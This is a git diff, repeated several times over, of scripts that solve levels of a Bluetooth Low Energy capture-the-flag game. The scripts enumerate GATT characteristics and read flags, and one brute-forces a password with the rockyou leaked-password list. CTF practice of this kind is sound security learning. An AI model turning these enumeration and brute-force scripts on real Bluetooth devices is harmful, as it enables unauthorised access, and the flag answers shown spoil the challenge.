diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 